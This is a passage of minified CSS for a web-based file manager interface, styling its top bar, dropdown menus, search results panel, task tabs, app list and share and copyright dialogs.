rgba(0,0,0,0.15);max-height:400px;}.dropdown-menu>li>a:hover,.dropdown-menu .this a,.dropdown-menu>li>a:focus{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;background-image:none;filter:none;background:#63acff;color:#fff;}.dropdown-menu>li>a{font-weight:inherit;color:#666;}.dropdown-menu>li>a .font-icon{opacity:0.8;}.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);border-right:6px solid rgba(0,0,0,0);border-bottom:6px solid #FFF;position:absolute;top:-6px;right:10px;}.dropdown-menu:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);top:-7px;border-bottom:7px solid #CCC;border-bottom-color:rgba(0,0,0,0.2);right:9px;}.dropdown-menu.menu-top:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);top:inherit;border-right:6px solid rgba(0,0,0,0);border-top:6px solid #FFF;border-bottom:none;position:absolute;bottom:-6px;right:10px;}.dropdown-menu.menu-top:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-bottom:none;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);bottom:-7px;border-top:7px solid #CCC;border-top-color:rgba(0,0,0,0.2);right:9px;top:inherit;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}.can_select,.can_select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can_not_select,.can_not_select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.pl-5{padding-left:5px;}.pl-10{padding-left:10px;}.pl-15{padding-left:15px;}.pl-20{padding-left:20px;}.pr-5{padding-right:5px;}.pr-10{padding-right:10px;}.pr-15{padding-right:15px;}.pr-20{padding-right:20px;}.ml-5{margin-left:5px;}.ml-10{margin-left:10px;}.ml-15{margin-left:15px;}.ml-20{margin-left:20px;}.mr-5{margin-right:5px;}.mr-10{margin-right:10px;}.mr-15{margin-right:15px;}.mr-20{margin-right:20px;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.clear{clear:both;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.aui_buttons button{font-size:1em;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dialogChangeMax,.dialogChangeMax .aui_main{-webkit-transition:all 0.25s;-moz-transition:all 0.25s;-o-transition:all 0.25s;-ms-transition:all 0.25s;transition:all 0.25s;}.aui_title span{position:absolute;width:80%;overflow:hidden;height:30px;word-break:break-all;text-overflow:ellipsis;white-space:nowrap;}.less-error-message{display:none;}input{border:1px solid #ddd;background:#fff;outline:none;}input[type="radio"],input[type="checkbox"]{border:none;background:none;}.topbar{width:100%;height:40px;color:#ddd;z-index:100;top:0;background:#63acff;position:fixed;}.topbar .content{padding:0px;line-height:40px;height:40px;wordbreak:break-all;}.topbar .content i.font-icon{display:inline-block;padding-right:10px;font-size:1.1em;}.topbar .content .topbar_menu{display:block;text-decoration:none;color:#fff;border:1px solid #4a9eff;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;padding:0px 1.2em;border-top:none;border-bottom:none;outline:none;float:left;margin-left:-1px;font-size:14px;}.topbar .content .topbar_menu.title{font-size:20px;width:200px;width:202px\0;padding:0;text-align:center;}.topbar .content .topbar_menu.title:hover{background:none;}.topbar .content .open .topbar_menu,.topbar .content .topbar_menu:hover,.topbar .content .topbar_menu.this{background:#4a9eff;}.topbar .content .menu-desktop:before{content:"\f108";}.topbar .content .menu-explorer:before{content:"\f0ae";}.topbar .content .menu-editor:before{content:"\f044";}.topbar .content .top_left{overflow:hidden;height:40px;width:70%;}.topbar .content .top_right{position:absolute;right:0px;top:0px;margin-right:0px;height:40px;}.topbar .content .top_right .menu_group{height:40px;margin-right:-1px;float:left;position:relative;}.topbar .content .top_right .topbar_menu{display:inline-block;padding:0px 6px;margin-right:1px;}.topbar .content .top_right .topbar_menu i{padding-right:3px;}.topbar .content .top_right .btn{color:#fff;}.topbar .content .top_right ul a{line-height:30px;height:30px;display:block;padding:0px 1.7em;border:none;overflow:hidden;}.topbar .content .top_right ul a:hover,.topbar .content .top_right ul a.this{margin-right:0px;}.topbar .content .top_right ul a.this{background:#63acff;color:#fff;}.topbar .content .top_right ul .font-icon{width:18px;display:inline-block;}.topbar .content .top_right ul.dropdown-menu.topbar_language{width:480px;padding:10px 5px;}.topbar .content .top_right ul.dropdown-menu.topbar_language li{width:120px;float:left;}.topbar .content .top_right ul.dropdown-menu.topbar_language a{padding:0 8px 0 8px;height:26px;line-height:26px;font-size:13px;}.topbar .content .top_right ul.dropdown-menu.topbar_language i.flag{padding-right:0px;background-color:#eee;position:relative;top:1px;}.topbar .content .share_title{text-align:center;color:#fff;float:left;margin-left:8px;margin-right:7px;}.topbar .content .share_title_info{color:#fff;font-size:1.25em;background:#eee;background:rgba(0,0,0,0.2);border-radius:4px;padding:6px;}.topbar .content .share_info{color:#fff;float:left;font-size:1em;}.topbar .content .share_info .time{padding-left:5px;color:#fff;padding-right:8px;}.topbar .content .top_right div.share_info_user{margin-right:10px;color:#fff;position:relative;}.topbar .content .top_right div.share_info_user .btn_download,.topbar .content .top_right div.share_info_user .btn.button_my_share{padding:4px 20px;margin-left:5px;}.topbar .content .top_right div.share_info_user .dropdown-toggle{height:16px;}.common_footer{position:fixed;bottom:0px;background:#f8f8f8;color:#999;font-size:1em;width:100%;text-align:center;border-top:1px solid #e8e8e8;height:31px;line-height:32px;overflow:hidden;}.common_footer .copyright_bottom{cursor:pointer;font-size:1.25em;color:#aaa;text-decoration:none;}.common_footer .copyright_bottom:hover{color:#f60;border-bottom:none;}.do_search{color:#888;}.do_search .search_header{padding:10px;padding-bottom:0px;}.do_search .search_header input[type='checkbox']{padding-left:0px;}.do_search .search_header label{font-size:1em;}.do_search .search_header .btn-right{margin:-5px 0 0 -2px;height:25px;width:30px;padding:0;height:28px \9\0;}.do_search .search_header .s_br{margin-bottom:8px;line-height:25px;}.do_search .search_header #search_value,.do_search .search_header #search_path,.do_search .search_header #search_ext{height:23px;height:27px \0;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:125px;padding-left:10px;padding-right:10px;margin-left:5px;}.do_search .search_header #search_value:focus,.do_search .search_header #search_path:focus,.do_search .search_header #search_ext:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.do_search .search_header #search_value{width:190px;margin:0;padding:2px 5px 0px 5px;padding-top:1px \0;}.do_search #search_is_case{margin-left:10px;}.do_search .search_desc{height:30px;line-height:30px;text-align:center;font-size:13px;margin:0px 10px;border:1px solid #ddd;color:#3196e6;background-image:-webkit-linear-gradient(top,#fff,#def);border-top-left-radius:3px;border-top-right-radius:3px;}.do_search .search_result{overflow-y:auto;overflow-x:hidden;position:absolute;top:137px;bottom:0px;right:0px;left:0px;margin:10px;border:1px solid #ddd;border-top:none;border-bottom-left-radius:3px;border-bottom-right-radius:3px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-items{list-style:none;margin:0px;padding:10px 0;font-size:13px;}.do_search .search_result .file-item .file-info{height:25px;line-height:25px;cursor:default;padding-left:10px;font-size:13px;color:#444;position:relative;word-wrap:break-word;word-break:break-all;overflow:hidden;}.do_search .search_result .file-item .file-info:hover{background:#eee;}.do_search .search_result .file-item .file-info .title{height:25px;color:#666;padding-left:5px;}.do_search .search_result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;cursor:pointer;color:#1387bb;}.do_search .search_result .file-item .file-info .switch{width:20px;height:20px;display:inline-block;text-align:center;color:#aaa;font-size:14px;}.do_search .search_result .file-item .file-info .file-icon{display:inline-block;width:18px;height:18px;}.do_search .search_result .file-item .file-info .file-icon img{width:100%;height:100%;}.do_search .search_result .file-item .file-info .result-num{margin:0 5px;border-radius:10px;background-color:#dfeaf3;color:#666;font-size:12px;padding:3px 8px;font-weight:bold;}.do_search .search_result .file-item .file-info .goto{position:absolute;right:0;top:0;width:30px;height:25px;line-height:25px;text-align:center;color:#bbb;background:#fff;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-item .file-info .goto:hover{background:#fbbc00;color:#fff;}.do_search .search_result .file-item .file-info:hover .goto{display:block;}.do_search .search_result .file-item .keyword{background:#ffef65;color:#000;}.do_search .search_result .file-item .result-item{list-style:none;margin:0px;padding:0px;}.do_search .search_result .file-item .result-item .result-info{height:25px;margin:0px;padding:0;line-height:25px;padding:0 15px;cursor:default;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.do_search .search_result .file-item .result-item .result-info:hover{background:#eee;}.do_search .search_result .file-item .result-item .result-info.this,.do_search .search_result .file-item .result-item .result-info.this:hover{background:#63acff;}.do_search .search_result .file-item .result-item .result-info.this .line,.do_search .search_result .file-item .result-item .result-info.this .search-info,.do_search .search_result .file-item .result-item .result-info.this:hover .line,.do_search .search_result .file-item .result-item .result-info.this:hover .search-info{color:#fff;}.do_search .search_result .file-item .result-item .line{display:inline-block;width:32px;margin-left:7px;padding-right:4px;text-align:right;font-weight:800;color:#aaa;}.do_search .search_result .file-item .result-item .search-info{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;color:#444;}.do_search .search_result .file-item.open .file-info .switch .icon-caret-right:before{content:"\f0d7";}#maskViewContent .upload-tips{text-align:center;}#maskViewContent .upload-tips .icon-cloud{opacity:0.8;}#maskViewContent .upload-tips .icon-cloud.cloud2{font-size:180px;}#maskViewContent .upload-tips .icon-cloud.cloud1,#maskViewContent .upload-tips .icon-cloud.cloud3{position:absolute;opacity:0.6;}#maskViewContent .upload-tips .icon-cloud.cloud1{margin-left:-60px;margin-top:110px;-webkit-animation:moveLeftLoop 8.0s infinite ease-in-out;animation:moveLeftLoop 8.0s infinite ease-in-out;}#maskViewContent .upload-tips .icon-cloud.cloud3{margin-left:-50px;margin-top:60px;font-size:60px;animation-delay:4s;-webkit-animation-delay:4s;-webkit-animation:moveLeftLoop 10.0s infinite ease-in-out;animation:moveLeftLoop 10.0s infinite ease-in-out;}#maskViewContent .upload-tips .cloud-moveup{height:70px;}#maskViewContent .upload-tips .cloud-moveup i{position:absolute;margin-left:-23px;margin-top:-16px;}.task_tab{position:fixed;bottom:1px;left:0;width:100%;height:30px;padding-left:50px;z-index:100;background:rgba(0,0,0,0.1);border-top:1px solid rgba(0,0,0,0.15);color:#444;}.task_tab .tabs{height:100%;margin-right:20px;margin-right:60px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.task_tab .tabs .tab{float:left;height:29px;margin-right:2px;white-space:nowrap;text-overflow:ellipsis;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;color:#fff;border-radius:3px;cursor:default;overflow:hidden;font-size:1em;box-shadow:0 0 6px #666;padding-left:4px;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.3)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.3),rgba(255,255,255,0));-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.task_tab .tabs .tab.hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.task_tab .tabs .tab.this{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 6px #000;}.tasktab-dragging{position:fixed;position:absolute;z-index:99999;height:30px;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0 0 3px #000;box-shadow:0 0 6px #000;padding-left:4px;white-space:nowrap;text-overflow:ellipsis;border-radius:3px;cursor:default;color:#fff;overflow:hidden;font-size:1em;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.8)', endColorstr='rgba(255,255,255,0.2)');background:rgba(255,255,255,0.2);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-o-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));-pie-background:linear-gradient(to top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));}.init_loading{position:fixed;left:45%;top:40%;font-size:1.25em;z-index:999999;width:auto;}.init_loading div{padding:20px;background:#000;opacity:0.6;filter:alpha(opacity=60);margin:0 auto;color:#FFF;border-radius:6px;text-align:center;line-height:30px;}.init_loading img{border-radius:10px;}.space_info_bar{width:110px;}.space_info_bar .space_process{width:110px;height:6px;overflow:hidden;background-color:#ddd;margin:0px;border-radius:5px;}.space_info_bar .space_process .space_process_use{width:20%;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;height:100%;background-color:#428bca;border-radius:5px;}.appbox{overflow:hidden;padding:0px 10px 0 0;}.appbox .appline{width:100%;margin-bottom:10px;line-height:20px;overflow:hidden;}.appbox .appline .left{float:left;width:80px;text-align:right;padding-right:14px;}.appbox .appline .right{float:left;}.appbox .appline input{margin-right:5px;}.appbox .appline label{display:inline-block;margin-left:-10px;padding:0 5px;}.appbox .appline input[type=text],.appbox .appline textarea{width:275px;padding:0px 5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:28px;border-radius:3px;}.appbox .appline input[type=text]:focus,.appbox .appline textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.appbox .appline input[type=text].w30{width:50px;}.appbox .appline input[type=text].w20{width:30px;}.appbox .appline textarea{height:100px;}.appbox .appline.icon input{width:232px;}.appbox .appline.icon a{padding:2px 4px;top:0px;border:1px solid #CCC;}.appbox .appline.icon .open{margin-left:-12px;cursor:pointer;margin-top:-4px;font-size:14px;padding:3px 1em 4px 1em;}.appbox .appline.icon a img{width:20px;height:20px;}#body div.app_list{position:absolute;left:150px;width:initial;margin:15px 0 20px 15px;right:20px;padding-bottom:60px;}#body div.app_list .app-list{margin-top:10px;border-top:1px solid #ddd;}#body div.app_list .app-list .app_li{float:left;width:150px;height:150px;border:1px solid #e6e6e6;margin:20px 20px 0 0;list-style:none;border-radius:3px;box-shadow:0 2px 7px #f0f0f0;}#body div.app_list .app-list .app_li:hover{box-shadow:0 5px 20px #ddd;}#body div.app_list .app-list .app_li a.button{margin:0;}#body div.app_list .app-list .app_li a.icon{float:left;width:100%;background:#eee;text-align:center;padding:8px 0;}#body div.app_list .app-list .app_li a.icon img{width:64px;height:64px;border-radius:10px;box-shadow:0 0 10px #999;}#body div.app_list .app-list .app_li p{width:100%;text-align:center;margin:0;color:#666;height:25px;overflow:hidden;}#body div.app_list .app-list .app_li p span{display:block;word-break:break-all;}#body div.app_list .app-list .app_li p span.title{font-size:1.15em;line-height:33px;height:33px;}#body div.app_list .app-list .app_li p span.info{display:none;}#body div.app_list .app-list .app_li .btn-group{margin:8px auto;text-align:center;display:block;}#body div.app_list .app-list .app_li .btn-group .btn-default{width:70px;}#body div.app_list .app-list .app_li .btn-group>.btn{float:none;}#body div.app_list .app-list .app_li .btn-group .btn:first-child:not(:last-child):not(.dropdown-toggle){height:17px;width:70px;height:18px\0;}#body div.app_list .app-list .app_li .btn-group .btn+.dropdown-toggle{height:17px;color:#aaa;height:18px\0;width:8px;width:25px;padding-left:0;padding-right:0;}#body div.app_list .app-list .app_li .btn-group .dropdown-menu{min-width:100px;right:15px;}.support_space_not .share_dialog .content_box .content_info{padding:30px 20px 30px 20px;}.support_space_not .system_conennt .right_frame .group_title .group_size{display:none !important;}.support_space_not .size_max_set,.support_space_not .user_setting_more_btn,.support_space_not .user_setting_more{display:none;}.support_space_not .user_list .space,.support_space_not .share_view_info,.support_space_not .user_space_info{display:none;}.support_space_not .frame-main .user_space_info{display:none;}.support_space_not .frame-main .frame-left .group_space_use{display:none;}.support_space_not .frame-main .frame-left #folderList{bottom:57px;}.dropdown-menu.menu-topbar_user{right:6px;}.version_vip{height:26px;line-height:26px;padding:0;opacity:0.7;filter:alpha(opacity=70);padding-left:25px;cursor:pointer;font-size:12px;display:block;color:#eee;background:#999;}.version_vip#version_vip_1{color:#bdeaff;background:#03a9f4;}.version_vip#version_vip_2{color:#ea9df7;background:#9c27b0;}.version_vip#version_vip_3{color:#fff;background:#ffc107;}.version_vip:hover{opacity:0.9;filter:alpha(opacity=90);text-decoration:none;}.version_license{width:250px;height:250px;overflow:hidden;position:absolute;z-index:9999;pointer-events:none;top:30px;left:0px;}.version_license a.line{position:absolute;pointer-events:all;width:300px;height:60px;line-height:60px;left:-70px;top:40px;font-size:20px;background:#ffc107;text-decoration:none;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;text-align:center;color:#fff;opacity:0.8;filter:alpha(opacity=80);}.version_license a.line:hover{background:#ff9800;}.path_select_input{width:550px;padding:7px;background:rgba(255,255,255,0.3);border:1px solid rgba(100,100,100,0.3);color:#000;}.copyright_dialog{width:400px !important;}.copyright_dialog,.share_dialog,.check_version_dialog{min-width:400px;}.copyright_dialog.dialog-simple .aui_outer,.share_dialog.dialog-simple .aui_outer,.check_version_dialog.dialog-simple .aui_outer{overflow:inherit;box-shadow:0 0px 60px rgba(0,0,0,0.4);border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);}.copyright_dialog.dialog-simple .aui_header,.share_dialog.dialog-simple .aui_header,.check_version_dialog.dialog-simple .aui_header{background:transparent;opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_nw,.copyright_dialog.dialog-simple .aui_n,.copyright_dialog.dialog-simple .aui_ne,.copyright_dialog.dialog-simple .aui_w,.copyright_dialog.dialog-simple .aui_e,.copyright_dialog.dialog-simple .aui_sw,.copyright_dialog.dialog-simple .aui_s,.copyright_dialog.dialog-simple .aui_se,.share_dialog.dialog-simple .aui_nw,.share_dialog.dialog-simple .aui_n,.share_dialog.dialog-simple .aui_ne,.share_dialog.dialog-simple .aui_w,.share_dialog.dialog-simple .aui_e,.share_dialog.dialog-simple .aui_sw,.share_dialog.dialog-simple .aui_s,.share_dialog.dialog-simple .aui_se,.check_version_dialog.dialog-simple .aui_nw,.check_version_dialog.dialog-simple .aui_n,.check_version_dialog.dialog-simple .aui_ne,.check_version_dialog.dialog-simple .aui_w,.check_version_dialog.dialog-simple .aui_e,.check_version_dialog.dialog-simple .aui_sw,.check_version_dialog.dialog-simple .aui_s,.check_version_dialog.dialog-simple .aui_se{height:0px;width:0px;background:none;}.copyright_dialog.dialog-simple .aui_inner,.share_dialog.dialog-simple .aui_inner,.check_version_dialog.dialog-simple .aui_inner{border:none;background:none;}.copyright_dialog.dialog-simple .aui_title,.share_dialog.dialog-simple .aui_title,.check_version_dialog.dialog-simple .aui_title{opacity:0.01;filter:alpha(opacity=1);top:0px;position:absolute;width:100%;height:100%;z-index:5;}.copyright_dialog.dialog-simple .aui_min,.copyright_dialog.dialog-simple .aui_max,.share_dialog.dialog-simple .aui_min,.share_dialog.dialog-simple .aui_max,.check_version_dialog.dialog-simple .aui_min,.check_version_dialog.dialog-simple .aui_max{display:none;}.copyright_dialog.dialog-simple .aui_titleBar,.share_dialog.dialog-simple .aui_titleBar,.check_version_dialog.dialog-simple .aui_titleBar{bottom:0px;overflow:hidden;height:100px;margin-top:-120px;top:120px;border-radius:4px;}.copyright_dialog.dialog-simple .aui_close,.share_dialog.dialog-simple .aui_close,.check_version_dialog.dialog-simple .aui_close{opacity:0.6;filter:alpha(opacity=60);background:rgba(0,0,0,0.5);width:100px;height:100px;top:-50px;right:-50px;border-radius:50px;text-align:left;font-size:20px;z-index:100;padding:0;}.copyright_dialog.dialog-simple .aui_close:hover,.share_dialog.dialog-simple .aui_close:hover,.check_version_dialog.dialog-simple .aui_close:hover{opacity:0.6;filter:alpha(opacity=60);}.copyright_dialog.dialog-simple .aui_close:active,.share_dialog.dialog-simple .aui_close:active,.check_version_dialog.dialog-simple .aui_close:active{opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_close::before,.share_dialog.dialog-simple .aui_close::before,.check_version_dialog.dialog-simple .aui_close::before{padding-left:22px;line-height:140px;}.copyright_dialog .aui_footer,.share_dialog .aui_footer,.check_version_dialog .aui_footer{display:none;}.check_version_dialog .update_box{margin-top:0px;}.share_dialog .content_box .content_info .input_line .open_window,.pathinfo .input-group-btn .open_window{margin-right:-1px;border-radius:0px;}.copyright_dialog .copyright_dialog_content,.check_version_dialog .aui_content{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:auto;border-radius:6px;width:400px;-webkit-box-shadow:0px 10px 60px rgba(0,0,0,0.4);-moz-box-shadow:0px 10px 60px rgba(0,0,0,0.4);box-shadow:0px 10px 60px rgba(0,0,0,0.4);border:1px solid #ccc \9;padding-bottom:30px;background:#fff;background:rgba(255,255,255,0.9);}.copyright_dialog .copyright_dialog_content .title,.check_version_dialog .aui_content .title{width:100%;background:#6699cc url("../../../images/common/login.png");height:150px;padding-top:0px;border-top-left-radius:5px;border-top-right-radius:5px;}.copyright_dialog .copyright_dialog_content .title .logo,.check_version_dialog .aui_content .title .logo{text-align:center;font-size:35px;width:100%;padding-top:40px;color:#aaddff;-webkit-box-reflect:below -13px -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(255,255,255,0.2)));background-image:-webkit-linear-gradient(92deg,#FFFFFF,#14A1FF);-webkit-background-clip:text;-webkit-text-fill-color:transparent;-webkit-animation:hue 6s 100 linear;}.copyright_dialog .copyright_dialog_content .title .logo i,.check_version_dialog .aui_content .title .logo i{color:#aaddff;font-weight:400;margin-right:10px;}.copyright_dialog .copyright_dialog_content .title .info,.check_version_dialog .aui_content .title .info{text-align:right;font-size:1.15em;color:#aaddff;padding-right:14px;padding-top:30px;}.copyright_dialog .copyright_dialog_content .content,.check_version_dialog .aui_content .content{padding:20px;}.copyright_dialog .copyright_dialog_content .content p,.check_version_dialog .aui_content .content p{text-indent:2em;color:#333;margin-bottom:30px;}.copyright_dialog .copyright_dialog_content .content a,.check_version_dialog .aui_content .content a{padding-right:5px;}.copyright_dialog .copyright_dialog_content .content div,.check_version_dialog .aui_content .content div{text-align:center;padding-bottom:5px;}.check_version_dialog.dialog-simple .aui_titleBar{margin-top:-120px;}.share_dialog .content_box{-webkit-box-shadow:0 5px 30px rgba(0,0,0,0.5);-moz-box-shadow:0 5px 30px rgba(0,0,0,0.5);box-shadow:0 5px 30px rgba(0,0,0,0.5);border-radius:5px;background:#fff;border:1px solid #ccc \9;width:auto;}.share_dialog .content_box .title{width:100%;color:#fff;height:100px;border-radius:5px 5px 0 0;background:#6699cc url('../../../images/common/login.png');}.share_dialog .content_box .titleinfo{text-align:center;font-size:35px;height:60px;overflow:hidden;line-height:80px;}.share_dialog .content_box .titleinfo i{color:#dff;font-size:30px;padding-right:10px;}.share_dialog .content_box .share_view_info{width:200px;margin:0 auto;margin-top:0px;padding:1px 5px;text-align:center;border-radius:17px;background:#117eaf;background:rgba(0,0,0,0.2);opacity:0.8;filter:alpha(opacity=80);}.share_dialog .content_box .content_info{padding:10px;padding-left:20px;}.share_dialog .content_box .content_info .input_line{margin:6px 0 8px 0;}.share_dialog .content_box .content_info .input_line .input_title{display:block;width:80px;padding-top:4px;float:left;height:30px;padding-right:10px;text-align:right;}.share_dialog .content_box .content_info .input_line input[type="text"]{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:32px;line-height:30px;padding:0px 5px;width:150px;margin-right:10px;float:left;border-radius:3px;}.share_dialog .content_box .content_info .input_line input[type="text"]:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.share_dialog .content_box .content_info .input_line label{margin-top:8px;margin-right:10px;}.share_dialog .content_box .content_info .input_line label input{margin:0 5px 5px 0;}.share_dialog .content_box .content_info .input_line .desc{font-size:1em;color:#bbb;font-style:normal;padding-left:0px;}.share_dialog .content_box .content_info .input_line #share_name{width:215px;margin-right:10px;}.share_dialog .content_box .content_info .input_line .share_url{margin-right:0;border-radius:3px 0 0 3px;width:167px !important;height:33px;}.share_dialog .content_box .content_info .input_line .share_more{line-height:33px;}.share_dialog .content_box .content_info .input_line .input-group-btn{float:left;}.share_dialog .content_box .content_info .input_line .dropdown-toggle{margin-left:-5px;border-radius:0 3px 3px 0;}.share_dialog .content_box .content_info .input_line .open_window{margin-left:-12px;}.share_dialog .content_box .content_info .input_line .share_copy{width:60px;border-radius:0px;margin-left:-7px;}.share_dialog .content_box .content_info .input_line.select_path input[type="text"]{width:155px;}.share_dialog .content_box 